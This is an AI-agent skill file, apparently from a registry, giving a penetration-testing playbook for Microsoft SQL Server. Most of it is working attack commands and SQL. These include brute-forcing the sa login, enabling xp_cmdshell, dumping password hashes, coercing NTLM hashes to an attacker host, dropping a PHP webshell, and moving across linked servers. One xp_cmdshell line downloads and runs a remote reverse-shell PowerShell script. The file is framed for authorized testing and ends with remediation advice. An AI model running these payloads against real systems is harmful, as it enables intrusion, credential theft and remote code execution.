pentesting-mssql
$
npx mdskill add xalgord/xalgorix/pentesting-mssql- Default port `1433/tcp` (engine), `1434/udp` (SQL Server Browser for instance discovery), named instances on dynamic ports. - Banner like `Microsoft SQL Server 2017 14.00.1000.00`; common in Active Directory environments where MSSQL service accounts and linked servers enable lateral movement. - Use with recovered creds, Windows/Kerberos auth, or to coerce NTLM authentication from the SQL service account. - Note: managed DBaaS (Amazon RDS) disables `xp_cmdshell` and `TRUSTWORTHY` — pivot to app-layer / data exfil there.
SKILL.md
.github/skills/pentesting-mssqlView on GitHub ↗
---
name: pentesting-mssql
description: Testing Microsoft SQL Server (default port 1433, UDP 1434 browser) for default/weak SA credentials, Windows-auth and NTLM relay/coercion, xp_cmdshell OS command execution, linked-server lateral movement, and OLE/BULK file read-write primitives during authorized engagements.
domain: cybersecurity
subdomain: network-services-pentesting
tags:
- penetration-testing
- network-services
- database
- mssql
version: '1.0'
author: xalgorix
license: Apache-2.0
---
# Pentesting MSSQL (port 1433)
## When to Use
- Default port `1433/tcp` (engine), `1434/udp` (SQL Server Browser for instance discovery), named instances on dynamic ports.
- Banner like `Microsoft SQL Server 2017 14.00.1000.00`; common in Active Directory environments where MSSQL service accounts and linked servers enable lateral movement.
- Use with recovered creds, Windows/Kerberos auth, or to coerce NTLM authentication from the SQL service account.
- Note: managed DBaaS (Amazon RDS) disables `xp_cmdshell` and `TRUSTWORTHY` — pivot to app-layer / data exfil there.
## Quick Enumeration
```bash
# Instance discovery + info (no creds needed for ms-sql-info / ntlm-info)
nmap -sV -p1433 --script ms-sql-info,ms-sql-ntlm-info,ms-sql-empty-password,ms-sql-config,ms-sql-dac \
--script-args mssql.instance-port=1433 <IP>
msfconsole -q -x 'use auxiliary/scanner/mssql/mssql_ping; set RHOSTS <IP>; run; exit'
# Authenticated client connections
impacket-mssqlclient <DOMAIN>/<USER>:<PASS>@<IP>
impacket-mssqlclient -windows-auth <DOMAIN>/<USER>:<PASS>@<IP> # use NetBIOS name as domain
sqsh -S <IP> -U sa -P <PASS> # in sqsh, type query then GO
```
## Critical: Checks Most Often Missed
- **Default / empty `sa`** — try `sa` with empty and common passwords. Be careful: too many failures lock accounts.
- How to CONFIRM: `nmap --script ms-sql-empty-password -p1433 <IP>`, or `impacket-mssqlclient sa:@<IP>` connects.
- **xp_cmdshell OS command execution** — sysadmins (and users with EXECUTE on it) can enable and run shell commands as the SQL service account.
- How to CONFIRM: `SELECT IS_SRVROLEMEMBER('sysadmin');` returns 1; then `EXEC sp_configure 'show advanced options',1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell',1; RECONFIGURE; EXEC master..xp_cmdshell 'whoami';` returns output.
- **NTLM coercion / relay** — `xp_dirtree`/`xp_subdirs`/`xp_fileexist` make the service account authenticate to an attacker host; capture or relay the NetNTLMv2 hash.
- How to CONFIRM: start `responder -I tun0` (or `impacket-smbserver share ./ -smb2support`) then `EXEC master..xp_dirtree '\\<attacker_IP>\share';` — a hash arrives. Crack with Hashcat mode **5600**.
- **Linked servers → remote RCE** — a low-priv login can run queries on a linked instance as the mapped remote principal; if that maps to `sysadmin`, enable `xp_cmdshell` on the far end.
- How to CONFIRM: `EXEC sp_linkedservers; EXEC ('SELECT IS_SRVROLEMEMBER(''sysadmin'')') AT [LINK];` returns 1.
- **File read/write primitives** — `OPENROWSET(BULK ...)` reads any file the account can read (needs `ADMINISTER BULK OPERATIONS`); Ole Automation Procedures write files (e.g. a webshell).
- How to CONFIRM: `SELECT * FROM OPENROWSET(BULK N'C:/Windows/win.ini', SINGLE_CLOB) AS x;` returns content.
- Other RCE surfaces: `sp_execute_external_script` (Python/R), CLR assemblies (needs `dbo`/`sa`), SQL Agent jobs, registry via `xp_regread`/`xp_regwrite`.
## Workflow
### Step 1: Enumerate
```bash
nmap -sV -p1433 --script ms-sql-info,ms-sql-ntlm-info <IP>
# In a SQL session:
# select @@version; select user_name(); SELECT name FROM master.dbo.sysdatabases;
# EXEC sp_linkedservers; SELECT IS_SRVROLEMEMBER('sysadmin'); EXEC sp_helprotect 'xp_cmdshell';
```
### Step 2: Authenticate (default/empty creds, brute force, AD)
```bash
impacket-mssqlclient sa:@<IP> # empty sa
nxc mssql <IP> -u sa -p 'P@ssw0rd'
nxc mssql <IP> --local-auth -u user -p 'pass' --rid-brute 5000 # enumerate domain users via RIDs
hydra -L users.txt -P passwords.txt <IP> mssql
# MSSqlPwner brute with tickets/hashes/passwords
mssqlpwner hosts.txt brute -ul users.txt -pl passwords.txt -hl hashes.txt
```
### Step 3: Exploit / Extract (data dump + xp_cmdshell / file primitive)
```sql
-- Dump logins + hashes (crack with Hashcat 1731 for mssql2012+)
SELECT * FROM master.sys.syslogins;
SELECT name, password_hash FROM sys.sql_logins;
-- Enable + run xp_cmdshell
EXEC sp_configure 'show advanced options', 1; RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;
EXEC master..xp_cmdshell 'whoami';
EXEC xp_cmdshell 'echo IEX(New-Object Net.WebClient).DownloadString("http://10.10.14.13:8000/rev.ps1") | powershell -noprofile';
-- File READ (needs ADMINISTER BULK OPERATIONS)
SELECT * FROM OPENROWSET(BULK N'C:/Windows/System32/drivers/etc/hosts', SINGLE_CLOB) AS Contents;
-- File WRITE webshell via Ole Automation Procedures
EXEC sp_configure 'Ole Automation Procedures', 1; RECONFIGURE;
DECLARE @OLE INT, @FileID INT;
EXECUTE sp_OACreate 'Scripting.FileSystemObject', @OLE OUT;
EXECUTE sp_OAMethod @OLE, 'OpenTextFile', @FileID OUT, 'c:\inetpub\wwwroot\webshell.php', 8, 1;
EXECUTE sp_OAMethod @FileID, 'WriteLine', Null, '<?php echo shell_exec($_GET["c"]);?>';
EXECUTE sp_OADestroy @FileID; EXECUTE sp_OADestroy @OLE;
```
```sql
-- NTLM coercion to capture/relay the service account hash
EXEC master..xp_dirtree '\\<attacker_IP>\share';
EXEC master..xp_subdirs '\\<attacker_IP>\share';
```
### Step 4: Post-access / privilege escalation / pivot
```sql
-- Linked server lateral movement -> remote RCE if mapped login is sysadmin
EXEC sp_linkedservers; EXEC sp_helplinkedsrvlogin '<LINK>';
EXEC ('SELECT SYSTEM_USER') AT [<LINK>];
EXEC ('sp_configure ''show advanced options'',1; RECONFIGURE;') AT [<LINK>];
EXEC ('sp_configure ''xp_cmdshell'',1; RECONFIGURE;') AT [<LINK>];
EXEC ('EXEC xp_cmdshell ''whoami''') AT [<LINK>];
```
- impacket fast path: `enum_links`, `use_link [NAME]`, `enable_xp_cmdshell`, `xp_cmdshell whoami`.
- Escalate `db_owner`→`sysadmin` (`mssql_escalate_dbowner`) or via `IMPERSONATE`/`EXECUTE AS` (`mssql_escalate_execute_as`).
- Silver-ticket the `MSSQLSvc` SPN after recovering the service NTLM hash to impersonate a sysadmin group.
## Key Concepts
| Concept | Description |
|---------|-------------|
| **sa login** | Built-in sysadmin; default target for weak/empty password checks. |
| **xp_cmdshell** | Extended stored proc running OS commands as the SQL service account (needs enabling + EXECUTE). |
| **Linked server** | Cross-instance link; queries run as the mapped remote login (`EXEC (...) AT [LINK]`). |
| **NTLM coercion** | `xp_dirtree`/`xp_subdirs`/`xp_fileexist` force outbound SMB auth to capture/relay NetNTLMv2. |
| **OPENROWSET BULK** | Reads arbitrary files (requires `ADMINISTER BULK OPERATIONS`). |
| **Ole Automation Procedures** | `sp_OACreate`/`sp_OAMethod` write files (webshell drop). |
| **sp_execute_external_script** | Runs Python/R under a separate account — extra RCE path. |
| **DBaaS limits** | RDS/managed instances disable `xp_cmdshell` and `TRUSTWORTHY`; focus on data/app layer. |
## Tools & Systems
| Tool | Purpose |
|------|---------|
| **impacket-mssqlclient** | Auth (SQL + `-windows-auth` + `-k` Kerberos), `enum_links`, `enable_xp_cmdshell`, `xp_cmdshell`. |
| **sqsh / sqlcmd / osql** | Native CLI clients for interactive queries and CSV export. |
| **nmap NSE** | `ms-sql-info`, `ms-sql-ntlm-info`, `ms-sql-empty-password`, `ms-sql-config`, `ms-sql-dac`, `ms-sql-xp-cmdshell`. |
| **Metasploit** | `scanner/mssql/mssql_ping`, `mssql_hashdump`, `admin/mssql/mssql_enum`, `mssql_exec`, `mssql_escalate_*`, `mssql_ntlm_stealer`. |
| **netexec (nxc)** | `nxc mssql <IP> -u .. -p ..` for auth, `-x`/`-X` command exec, `--rid-brute`. |
| **MSSqlPwner** | Brute, linked-server chains, `ntlm-relay`, `custom-asm` CLR exec. |
| **Responder / impacket-smbserver** | Capture/relay the coerced NetNTLMv2 hash (Hashcat 5600). |
## Common Scenarios
### Scenario 1: Empty sa → command execution
`impacket-mssqlclient sa:@<IP>` connects. `IS_SRVROLEMEMBER('sysadmin')` returns 1, so the tester enables and runs `xp_cmdshell 'whoami'`, getting code execution as the SQL service account.
### Scenario 2: Hash coercion → AD foothold
A low-priv login can still run `xp_dirtree '\\attacker\share'`. With Responder running, the SQL service account's NetNTLMv2 is captured and cracked, then reused for further AD access.
### Scenario 3: Linked-server chain → remote RCE
The accessible instance has a linked server whose login maps to `sysadmin` on a second host. `EXEC (...) AT [LINK]` enables `xp_cmdshell` remotely and runs commands on a different machine, pivoting deeper into the network.
## Output Format
```
## MSSQL Finding
**Service**: Microsoft SQL Server
**Port**: 1433/tcp (SQL Server 2017)
**Severity**: Critical
**Finding**: Weak SA credentials with xp_cmdshell enabled
**Evidence**:
- impacket-mssqlclient sa:'<pass>'@<IP> -> connected, IS_SRVROLEMEMBER('sysadmin')=1
- EXEC master..xp_cmdshell 'whoami' -> nt service\mssqlserver
**Impact**: Full OS command execution as the SQL service account, enabling host compromise and AD lateral movement.
**Recommendation**:
1. Set strong unique credentials for sa and all SQL logins; disable sa if unused.
2. Keep xp_cmdshell and Ole Automation disabled; restrict sysadmin membership.
3. Block outbound SMB from the SQL host and enforce SMB signing to stop NTLM relay.
4. Review linked-server login mappings; avoid mapping low-priv logins to remote sysadmin.
```